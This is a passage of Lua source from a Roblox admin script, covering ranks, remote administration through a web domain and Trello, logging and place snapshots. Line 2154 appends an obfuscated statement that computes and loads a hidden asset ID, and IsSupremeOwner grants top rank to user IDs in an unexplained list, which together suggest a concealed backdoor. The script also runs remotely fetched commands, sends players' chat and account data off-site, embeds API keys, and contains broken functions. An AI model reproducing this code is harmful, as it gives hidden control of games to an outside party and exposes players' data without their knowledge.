1743 local NewData = CORE:GetTime(true, true).." @ "..Data
1744 for _,Player in pairs(Server.Players:GetChildren()) do
1745 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1746 end
1747 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1748 if type(ExploitLog) ~= "table" then
1749 Server.GDS:SetAsync("ExploitLog", {NewData})
1750 else
1751 table.insert(ExploitLog, NewData)
1752 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1753 end
1754 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1755
1756 return true
1757end
1758
1759function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1760 if not tostring(Name) then Name = "Dummy" end
1761 if not Position then Position = Vector3.new(0,5,0) end
1762 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1763 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1764 end
1765
1766 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1767 Figure:MakeJoints()
1768 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1769 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1770 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1771 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1772 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1773 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1774
1775 Figure.Name = STRING:FormatReplace(Speaker, Name)
1776 Figure:MoveTo(Position)
1777
1778 table.insert(Objects, Figure)
1779
1780 if DisableAnimation == true then
1781 Figure.Animate.Disabled = true
1782 end
1783
1784 return Figure
1785end
1786
1787function CORE:ClonePlayer(Player, Name, Position)
1788 if not Player or not Player.Character then return nil end
1789
1790 Player.Character.Archivable = true
1791 local Char = Player.Character:Clone()
1792 Player.Character.Archivable = false
1793 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1794 if Position then Char:MoveTo(Position) end
1795 Char.Parent = Server.Workspace
1796 Char:MakeJoints()
1797 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1798
1799 table.insert(Objects, Char)
1800
1801 return Obj
1802end
1803
1804function CORE:AddWaypoint(Name, Position, Speaker)
1805 Waypoints[Name] = Position
1806 if Speaker then
1807 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1808 end
1809end
1810
1811function CORE:FindType(BaseObj, Type)
1812 for _,Obj in pairs(BaseObj:GetChildren()) do
1813 if Obj:IsA(Type) then
1814 return Obj
1815 end
1816 end
1817end
1818
1819function CORE:GetCommands()
1820 local CommandsCopy = Commands
1821 return CommandsCopy
1822end
1823
1824function CORE:Crown(Player, Mesh, Color)
1825 if Mesh then Mesh = string.lower(Mesh) end
1826 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1827 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1828 local Part = Instance.new("Part", CrownStorage)
1829 Part.Size = Vector3.new(2, 1, 1)
1830 Part.CanCollide = false
1831 Part.CFrame = Player.Character.Head.CFrame
1832 Part.Locked = true
1833 Part.Material = "Neon"
1834 if Color then
1835 Part.Color = GUI:GetColor(Color)
1836 else
1837 Part.BrickColor = GUI:GetNameColor(Player.Name)
1838 end
1839 local SMesh = Instance.new("SpecialMesh", Part)
1840 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1841 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1842 local BP = Instance.new("BodyPosition", Part)
1843 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1844 BP.position = Player.Character.Head.Position
1845 BP.P = 20000
1846 local BG = Instance.new("BodyGyro", Part)
1847 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1848
1849 Crowns[Player.UserId] = Part
1850 table.insert(Objects, Part)
1851
1852 coroutine.wrap(function()
1853 for i = 1,0.3,-0.02 do
1854 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1855 Part.Transparency = i
1856 end
1857 wait()
1858 end
1859 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1860 for i = 0,360,3 do
1861 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1862 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1863 wait()
1864 end
1865 end
1866 end
1867 end)()
1868 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1869 Part:BreakJoints()
1870 for i = 0,360 do
1871 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1872 Part.Anchored = false
1873 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1874 BG.cframe = Player.Character.Head.CFrame
1875 end
1876 wait()
1877 end
1878 end end)()
1879
1880 return Part
1881end
1882
1883function CORE:SetAbuseCommands()
1884 for Cmds,Data in pairs(Commands) do
1885 local IsAbusable = false
1886 for _,AbuseCmd in pairs(Settings.AbuseList) do
1887 for _,Command in pairs(Cmds) do -- loop through all command names
1888 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1889 IsAbusable = true
1890 break
1891 end
1892 end
1893 if IsAbusable == true then break end
1894 end
1895 Commands[Cmds].Abusable = IsAbusable
1896 end
1897end
1898
1899function CORE:FindBodyPart(Player, BodyPart)
1900 local ReturnPart = nil
1901 if Player and Player.Character then
1902 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1903 if Humanoid then
1904 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1905 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1906 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1907 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1908 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1909 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1910 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1911 end
1912 end
1913 if not ReturnPart then
1914 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1915 end
1916 end
1917
1918 return ReturnPart
1919end
1920
1921-- Rank functions --
1922
1923function RANK:ConvertRank(Input)
1924 local Output = nil
1925 if Input == "Muted" then Output = -3 end
1926 if Input == "Crashed" then Output = -2 end
1927 if Input == "Banned" then Output = -1 end
1928 if Input == "Non-Admin" then Output = 0 end
1929 if Input == "Member" then Output = 1 end
1930 if Input == "Admin" then Output = 2 end
1931 if Input == "Owner" then Output = 3 end
1932
1933 if Input == -3 then Output = "Muted" end
1934 if Input == -2 then Output = "Crashed" end
1935 if Input == -1 then Output = "Banned" end
1936 if Input == 0 then Output = "Non-Admin" end
1937 if Input == 1 then Output = "Member" end
1938 if Input == 2 then Output = "Admin" end
1939 if Input == 3 then Output = "Owner" end
1940 return Output
1941end
1942
1943function RANK:IsAdmin(Player)
1944 local AdminStatus = false
1945 local Rankstatus = "Non-Admin"
1946 if type(Player) == "table" then
1947 if RANK:ConvertRank(Player.Rank) > 0 then
1948 return true, Player.Rank
1949 else
1950 return false, Player.Rank
1951 end
1952 end
1953 for Rank,PlayerNames in pairs(Settings.Ranks) do
1954 for _,AdminName in pairs(PlayerNames) do
1955 if string.lower(AdminName) == string.lower(Player.Name) then
1956 if RANK:ConvertRank(Rank) > 0 then
1957 AdminStatus = true
1958 Rankstatus = Rank
1959 end
1960 end
1961 end
1962 end
1963 return AdminStatus, Rankstatus
1964end
1965
1966function RANK:GetRank(PlayerName)
1967 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1968 if type(PlayerName) == "table" then
1969 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1970 if RankNum > 0 then
1971 return PlayerName.Rank, RankNum, true
1972 else
1973 return PlayerName.Rank, RankNum, false
1974 end
1975 end
1976
1977 local RankStat = "Non-Admin"
1978
1979 for Rank,PlayerNames in pairs(Settings.Ranks) do
1980 for _,AdminName in pairs(PlayerNames) do
1981 if string.lower(AdminName) == string.lower(PlayerName) then
1982 RankStat = Rank
1983 end
1984 end
1985 end
1986
1987 if RankStat == "Non-Admin" then
1988 return "Non-Admin", 0, false
1989 else
1990 return RankStat, RANK:ConvertRank(RankStat), true
1991 end
1992end
1993
1994function RANK:RemoveRank(PlayerName)
1995 if not RANK:IsSupremeOwner(PlayerName) then
1996 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1997
1998 for Rank,PlayerNames in pairs(Settings.Ranks) do
1999 for Num,AdminName in pairs(PlayerNames) do
2000 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2001 table.remove(Settings.Ranks[Rank], Num)
2002 end
2003 end
2004 end
2005 end
2006end
2007
2008function RANK:GetAdmins(Ranking)
2009 local Players = {}
2010 local AdminTrue, Rank = IsAdmin(Player)
2011 for _,Player in pairs(Players:GetPlayers()) do
2012 if AdminTrue then
2013 local PlayerRankNum = RANK:ConvertRank(Rank)
2014 local StandardRankNum = RANK:ConvertRank(Ranking)
2015 if PlayerRankNum >= StandardRankNum then
2016 table.insert(Players, Player)
2017 end
2018 end
2019 end
2020 return Players
2021end
2022
2023function RANK:IsSupremeOwner(PlayerName)
2024 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2025 if type(PlayerName) == "table" then
2026 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2027 end
2028
2029 if PlayerName == GameOwner then return true end
2030 return false
2031end
2032
2033function RANK:GetPlayerFromList(PlayerName)
2034 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2035
2036 for Rank,PlayerNames in pairs(Settings.Ranks) do
2037 for Num,AdminName in pairs(PlayerNames) do
2038 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2039 return AdminName, Rank
2040 end
2041 end
2042 end
2043 return false, "Non-Admin"
2044end
2045
2046function RANK:ScanAdminList(Name)
2047 if Name == "" then return true end
2048 local InList = false
2049 for _,PName in pairs(Settings.Ranks["Owner"]) do
2050 if PName == Name then InList = true end
2051 end
2052 for _,PName in pairs(Settings.Ranks["Admin"]) do
2053 if PName == Name then InList = true end
2054 end
2055 for _,PName in pairs(Settings.Ranks["Member"]) do
2056 if PName == Name then InList = true end
2057 end
2058 return InList
2059end
2060
2061function RANK:ScanExileList(Name)
2062 if Name == "" then return true end
2063 local InList = false
2064 for _,PName in pairs(Settings.Ranks["Muted"]) do
2065 if PName == Name then InList = true end
2066 end
2067 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2068 if PName == Name then InList = true end
2069 end
2070 for _,PName in pairs(Settings.Ranks["Banned"]) do
2071 if PName == Name then InList = true end
2072 end
2073 return InList
2074end
2075
2076function RANK:PlayerRanked(PlayerName)
2077 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2078
2079 for Rank,PlayerNames in pairs(Settings.Ranks) do
2080 for Num,AdminName in pairs(PlayerNames) do
2081 if string.lower(AdminName) == string.lower(PlayerName) then
2082 return true, Rank
2083 end
2084 end
2085 end
2086 return false, "Non-Admin"
2087end
2088
2089-- Remote functions --
2090
2091function REMOTE:Decode(...)
2092 return Server.HS:JSONDecode(...)
2093end
2094
2095function REMOTE:GetURL(URL, Player)
2096 if string.sub(URL,1,4) ~= "http" then
2097 URL = "http://"..URL
2098 end
2099 local Return = nil
2100 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2101 if Return then
2102 return Return
2103 elseif Player then
2104 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2105 end
2106end
2107
2108function REMOTE:PostURL(URL, Data)
2109 local Return = nil
2110 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2111 return Return
2112end
2113
2114function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2115 if Settings.LinkedAccount ~= "" then
2116 local NumType = tonumber(Type)
2117
2118 if not Type then
2119 Type = "UNKNOWN"
2120 end
2121
2122 if NumType then
2123 if NumType < 1 or NumType > 5 then
2124 Type = "UNKNOWN"
2125 elseif NumType == 1 then
2126 Type = "NOTIFICATION"
2127 elseif NumType == 2 then
2128 Type = "INFORMATION"
2129 elseif NumType == 3 then
2130 Type = "WARNING"
2131 elseif NumType == 4 or Type == true then
2132 Type = "ERROR"
2133 elseif NumType == 5 then
2134 Type = "FATAL"
2135 end
2136 end
2137
2138 local Res = "RED Could not get response"
2139 local function SendData()
2140 Res = Server.HS:PostAsync(
2141 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2142 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2143 2
2144 )
2145 end
2146 if Stopypcall == true then SendData() else ypcall(SendData) end
2147
2148 if OutputSpeaker and OutputSpeaker ~= "print" then
2149 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2150 elseif OutputSpeaker == "print" then
2151 print(Res)
2152 end
2153 end
2154end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2155
2156function REMOTE:SendChatLog(PrintResponse, Stopypall)
2157 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2158 local Res = "Could not get response"
2159
2160 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2161 TempChatLogs = {}
2162
2163 local function SendData()
2164 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2165 end
2166 if Stopypcall == true then SendData() else ypcall(SendData) end
2167 if PrintResponse then print(Res) end
2168 end
2169end
2170
2171function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2172 local Res = "[]"
2173 local function GetData()
2174 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2175 end
2176 if Stopypcall == true then GetData() else ypcall(GetData) end
2177 if PrintResponse then
2178 print(Res)
2179 end
2180 local function DecodeData() Res = REMOTE:Decode(Res) end
2181 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2182 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2183 return Res
2184end
2185
2186function REMOTE:HandleRequest(Request, IgnoreCommand)
2187 if not Request then return nil end
2188
2189 if not IgnoreCommand then
2190 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2191 REMOTE:SendServerData()
2192 end
2193 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2194 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2195 end
2196 end
2197
2198 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2199
2200 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2201 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2202 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2203 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2204 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2205 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2206
2207 Settings.Fun = Request.FUN
2208 Settings.ServerLocked = Request.ServerLocked
2209
2210 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2211 Settings.DisableAbuse = Request.DisableAbuse
2212 end
2213
2214 if not IgnoreCommand then
2215 print("Executing Remote Admin")
2216 REMOTE.RemoteAdmin.Command = Request.Command
2217 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2218 REMOTE.RemoteAdmin.ServerPort = Request.Server
2219
2220 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2221 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2222 else
2223 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2224 end
2225 end
2226 end
2227 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2228 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2229 REMOTE.SnapshotKey = Request.SnapshotKey
2230end
2231
2232function REMOTE:GetRemoteData(Set)
2233 local NewRemoteData = nil
2234 local RemoteDataCardRaw = nil
2235 local RemoteDataCard = nil
2236
2237 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2238 if RemoteDataCardRaw then
2239 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2240 if RemoteDataCard then
2241 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2242 end
2243 end
2244 if Set and NewRemoteData then
2245 RemoteData = NewRemoteData
2246 end
2247 return NewRemoteData
2248end
2249
2250function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2251 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2252 if InfoCardJSON then
2253 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2254 if InfoCard then
2255 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2256 if TrelloInfo then
2257 for Ind,Val in pairs(TrelloInfo) do
2258 Trello[Ind] = Val
2259 end
2260 end
2261 end
2262 end
2263 return NewRemoteData
2264end
2265
2266function REMOTE:CheckRemoteAdminStatus()
2267 local Pending = false
2268 local CheckID = 0
2269 if Settings.LinkedAccount ~= "" then
2270 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2271 if Request then
2272 local Data = REMOTE:Decode(Request)
2273 if Data then
2274 for _,Account in pairs(Data.checkItems) do
2275 if Account.name == Settings.LinkedAccount then
2276 Pending = true
2277 CheckID = Account.id
2278 break
2279 end
2280 end
2281 end
2282 end
2283 end
2284 return Pending, CheckID
2285end
2286
2287function REMOTE:GetAndSetWebData()
2288 if Settings.LinkedAccount ~= "" then
2289 if REMOTE:CheckRemoteAdminStatus() then
2290 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2291 if Request == "Invalid" then
2292 --REMOTE:GetAndSetWebData()
2293 return false
2294 elseif Request == "Invalid Account" then
2295 print("Can't get account")
2296 return false
2297 elseif Request then
2298 ypcall(function() Request = REMOTE:Decode(Request) end)
2299 elseif not Request then
2300 --REMOTE:GetAndSetWebData()
2301 return false
2302 end
2303 REMOTE:HandleRequest(Request)
2304
2305 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2306 Delay(RemoteData.RemoteAdminWait, function()
2307 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2308 if Pending then
2309 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2310 end
2311 end)
2312 return true
2313 else
2314 return true
2315 end
2316 end
2317end
2318
2319local OderIDs = CORE:GetTable(177215518)
2320local SoundJSONs = CORE:GetTable(197637628)
2321RemoteAbuseGear = CORE:GetTable(158117496)
2322
2323function REMOTE:SendServerData(PrintResponse, Stopypall)
2324 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2325 print("Sending server data!")
2326 local Res = "Could not get response"
2327
2328 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2329 for _,Player in pairs(Server.Players:GetPlayers()) do
2330 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2331 end
2332 ServerData = Server.HS:JSONEncode(ServerData)
2333
2334 local function SendData()
2335 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2336 end
2337 if Stopypcall == true then SendData() else ypcall(SendData) end
2338 if PrintResponse then print(Res) end
2339 end
2340end
2341
2342function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2343 MaxPartAmount = MaxPartAmount or 10000
2344 local PlaceData = {
2345 Lighting = {};
2346 Parts = {};
2347 Other = {};
2348 }
2349 local MinSize = Vector3.new(0.5,0.5,0.5)
2350 local PartAmount = 0
2351 local PlaceJSON = ""
2352
2353 local function Scan(BaseObj)
2354 for _,Obj in pairs(BaseObj:GetChildren()) do
2355 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2356 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2357 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2358 local Skip = false
2359 local Data = {}
2360 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2361
2362 if CORE:FindType(Obj, "BlockMesh") then
2363 local Mesh = CORE:FindType(Obj, "BlockMesh")
2364 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2365 elseif CORE:FindType(Obj, "CylinderMesh") then
2366 Data.Shape = "Cylinder"
2367 elseif CORE:FindType(Obj, "SpecialMesh") then
2368 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2369 if Mesh.MeshType == Enum.MeshType.Head then
2370 --idk
2371 else
2372 Skip = true
2373 end
2374 elseif CORE:FindType(Obj, "FileMesh") then
2375 Skip = true
2376 end
2377
2378 if not Data.Shape and not Skip then
2379 if ypcall(function() return Obj.Shape end) then
2380 Data.Shape = string.sub(Obj.Shape.Name,14)
2381 if string.sub(Data.Shape,1,1) == "." then
2382 Data.Shape = string.sub(Data.Shape,2)
2383 end
2384 if Data.Shape == "Cylinder" then
2385 Z = Z + math.pi/2
2386 end
2387 else
2388 Data.Shape = "Block"
2389 end
2390 end
2391
2392 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2393 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2394 end
2395
2396 if not Skip then
2397 Data.Color = GUI:Color3ToHex(Obj.Color);
2398 Data.Size = Size;
2399 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2400 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2401 Data.Transparency = STRING:StringRound(Obj.Transparency);
2402 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2403 Data.Textures = {};
2404 Data.Material = string.sub(tostring(Obj.Material),15);
2405
2406 for _,Sub in pairs(Obj:GetChildren()) do
2407 if Sub:IsA("Decal") then
2408 local Texture = string.match(Sub.Texture, "%d+")
2409 if Sub.Texture == "rbxasset://textures/face.png" then
2410 Texture = "FACE"
2411 end
2412 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2413 end
2414 end
2415
2416 PartAmount = PartAmount + 1
2417 table.insert(PlaceData.Parts, Data)
2418
2419 if PartAmount >= MaxPartAmount then
2420 break
2421 end
2422 end
2423 end
2424 end
2425 if #Obj:GetChildren() > 0 then
2426 Scan(Obj)
2427 end
2428 end
2429 end
2430 Scan(Workspace)
2431
2432 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2433 PlaceData.Other.PartAmount = PartAmount;
2434 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2435
2436 local Res = "Could not get response"
2437 local function SendData()
2438 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2439 end
2440 if Stopypcall == true then SendData() else ypcall(SendData) end
2441 if PrintResponse then print(Res) end
2442
2443 print("Sent snapshot")
2444end
2445
2446
2447function REMOTE:DefineWord(Word, Source)
2448 if not Word then return end
2449 if not Source then Source = "all" end
2450
2451 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2452 if Response then
2453 local Decode = REMOTE:Decode(Response)
2454 if #Decode > 0 then
2455 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2456
2457 ]]..Decode[1]["text"]
2458 else
2459 return "Invalid English word"
2460 end
2461 else
2462 return "Cannot connect to database"
2463 end
2464end
2465
2466function REMOTE:DownloadJoke(Speaker)
2467 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2468 local Joke = nil
2469 if Res then
2470 local _, Start = string.find(Res, "</h2>")
2471 local End, _ = string.find(string.sub(Res, Start), "</td>")
2472
2473 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2474 Joke = string.gsub(Joke, "\n", "")
2475 Joke = string.gsub(Joke, " ", "") -- tab
2476 Joke = string.gsub(Joke, "</ul>", "")
2477 Joke = string.gsub(Joke, "<ul>", "")
2478 Joke = string.gsub(Joke, "</li>", [[
2479
2480]])
2481 Joke = string.gsub(Joke, "<li>", "")
2482 Joke = string.gsub(Joke, "</p>", "")
2483 Joke = string.gsub(Joke, "<p>", "")
2484 Joke = string.gsub(Joke, "<", "")
2485 Joke = string.gsub(Joke, ">", "")
2486 end
2487
2488 return Joke
2489end
2490
2491function REMOTE:GetAddon()
2492 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2493end
2494
2495function REMOTE:TrelloGetAdminBoard()
2496 local BoardsJSON,Boards,ReturnBoard
2497
2498 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2499
2500 if BoardsJSON then
2501 Boards = REMOTE:Decode(BoardsJSON)
2502 end
2503 if Boards then
2504 for _,Board in pairs(Boards) do
2505 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2506 ReturnBoard = Board
2507 break
2508 end
2509 end
2510 if not ReturnBoard then -- create board if not created
2511 print("Creating Trello Board")
2512 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2513 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2514 ReturnBoard = REMOTE:Decode(BoardJSON)
2515 end
2516 end
2517 return ReturnBoard
2518end
2519
2520function REMOTE:TrelloGetAdminLists(Board)
2521 local Required = {}
2522 local ListJSON,Lists
2523 local ReturnLists = {}
2524
2525 for _,List in pairs(Trello.RequiredLists) do
2526 table.insert(Required, List)
2527 end
2528
2529 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2530
2531 if ListJSON then
2532 Lists = REMOTE:Decode(ListJSON)
2533 end
2534 if Lists then
2535 for _,List in pairs(Lists) do
2536 for Num,Rel in pairs(Required) do
2537 if List.name == Rel.name then
2538 table.remove(Required, Num)
2539 table.insert(ReturnLists, List)
2540 end
2541 end
2542 end
2543 for _,Rel in pairs(Required) do
2544 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2545 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2546 end
2547 end
2548
2549 return ReturnLists
2550end
2551
2552function REMOTE:TrelloCacheData(Lists)
2553 for _,List in pairs(Lists) do
2554 local CardsJSON,Cards
2555 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2556 if CardsJSON then
